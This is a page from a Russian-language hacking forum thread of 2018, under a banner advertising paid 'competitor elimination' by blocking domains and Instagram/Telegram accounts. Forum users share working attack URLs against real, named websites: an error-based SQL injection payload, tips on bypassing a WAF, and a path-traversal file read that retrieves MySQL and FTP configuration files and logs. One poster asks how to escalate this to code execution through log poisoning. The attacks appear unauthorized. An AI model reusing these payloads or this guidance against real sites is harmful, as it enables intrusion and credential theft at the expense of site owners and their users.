УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 225 из 296

225

Опции темы

Поиск в этой теме

Опции просмотра

#2241

12.02.2018, 14:54

erwerr2321

Guest

Сообщений: n/a

Провел на форуме:
759330

Репутация: 147

Цитата:

Сообщение от man474019

man474019 said:
↑
and, what can do in this situation ?

Try boolean-based via more than 1 row )

#2242

12.02.2018, 15:00

Sensoft

Guest

Сообщений: n/a

Провел на форуме:
104689

Репутация: 1

http://texnousta.com/index.php?rout...Value(1,concat(0x3a,(select(versi on())))))='1

#2243

12.02.2018, 15:27

MotherHacker

Guest

Сообщений: n/a

Провел на форуме:
2312

Репутация: 0

Цитата:

Сообщение от man474019

man474019 said:
↑
sorry, but there waf blocks _ symbol, don't know how to bypass
++
default opencart tables have _ symbol (

look here

https://rdot.org/forum/showthread.php?t=2869

https://rdot.org/forum/showpost.php?...2&postcount=10

#2244

14.02.2018, 14:51

z3u5

Guest

Сообщений: n/a

Провел на форуме:
4001

Репутация: 0

Итак, есть сайт enature.net, он не очень хороший и вообще сами можете тематику посмотреть. Весьма легальный, работает с 95-го года.

Нашел LFI через сканер (netsparker), до этого дел с PHP-include не имел, выглядит примерно так:

Код:

Code:
https://www.enature.net/nudist_gallery/full_image/?param=/../../../../../../../../../../proc/version

Что нашел:

- конфиг мускула

Код:

Code:
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../etc/mysql/my.cnf

- конфиг фтп

Код:

Code:
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../etc/protpd/proftpd.conf

- логи фтп (не нашел подключения)

Код:

Code:
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../var/log/xferlog
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../var/log/cdninvalidate.log

Что не могу найти:

- логи апача

- способ залиться

#2245

14.02.2018, 14:55

Sensoft

Guest

Сообщений: n/a

Провел на форуме:
104689

Репутация: 1

Цитата:

Сообщение от z3u5

z3u5 said:
↑
Итак, есть сайт enature.net, он не очень хороший и вообще сами можете тематику посмотреть. Весьма легальный, работает с 95-го года.
Нашел LFI через сканер (netsparker), до этого дел с PHP-include не имел, выглядит примерно так:

Код:

Code:
https://www.enature.net/nudist_gallery/full_image/?param=/../../../../../../../../../../proc/version

Что нашел:
- конфиг мускула

Код:

Code:
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../etc/mysql/my.cnf

- конфиг фтп

Код:

Code:
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../etc/protpd/proftpd.conf

- логи фтп (не нашел подключения)

Код:

Code:
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../var/log/xferlog
https://www.enature.net/nudist_gallery/full_image/?page=/../../../../../../../../../../var/log/cdninvalidate.log

Что не могу найти:
- логи апача
- способ залиться

чёт не фурычит сайт )

#2246

14.02.2018, 14:58

z3u5

Guest

Сообщений: n/a

Провел на форуме:
4001

Репутация: 0

Цитата:

Сообщение от Sensoft

Sensoft said:
↑
чёт не фурычит сайт )

С СНГ IP может не пускать.

Забыл поздороваться и попросить помощи, ну вы поняли. Ковырял часа 4 к ряду, уже хз, может просто не разрешает читать логи (но при этом разрешает конфиги?)

#2247

14.02.2018, 15:23

crlf

Guest

Сообщений: n/a

Провел на форуме:
169212

Репутация: 441

Цитата:

Сообщение от z3u5

z3u5 said:
↑
Нашел LFI через сканер (netsparker)

Ниразу не LFI, это читалка. На чтение логов нет прав.

#2248

14.02.2018, 15:30

z3u5

Guest

Сообщений: n/a

Провел на форуме:
4001

Репутация: 0

Цитата:

Сообщение от crlf

crlf said:
↑
Ниразу не LFI, это читалка. На чтение логов нет прав.

Опять эти корпоративные свиньи пугают уязвимостями чтобы я купил лицуху сканера.

Спасибо, как читалку отличить от инклуда? Пускать в логи должно?

#2249

14.02.2018, 15:33

erwerr2321

Guest

Сообщений: n/a

Провел на форуме:
759330

Репутация: 147

Цитата:

Сообщение от z3u5

z3u5 said:
↑
Спасибо, как читалку отличить от инклуда? Пускать в логи должно?

код должен выполняться?

#2250

14.02.2018, 15:38

z3u5

Guest

Сообщений: n/a

Провел на форуме:
4001

Репутация: 0

Цитата:

Сообщение от ms13

ms13 said:
↑
код должен выполняться?

Ну хорошо, но чтобы он выполнился нужно всунуть в логи, правильно? То-есть там через юзерагент, логины и прочие пляски. Или есть еще варианты?

Я не в теме, пишу без наездов, вам все кажется.